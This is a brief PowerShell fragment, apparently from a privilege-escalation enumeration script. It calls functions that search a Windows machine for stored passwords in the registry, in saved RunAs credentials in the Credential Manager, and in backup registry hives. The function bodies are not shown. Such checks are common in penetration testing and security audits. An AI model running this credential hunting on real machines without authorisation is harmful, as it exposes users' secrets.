#Return variable
$result = $false
write-host "`n"
write-host "[*] Check presents password in the computer"
# Files
#Check-PasswordsFilesDir
#Registry
Check-RegistryPass
#Credential-Manager
Check-RunAsCommand
#Backup hives
Check-PasswordsBackupHives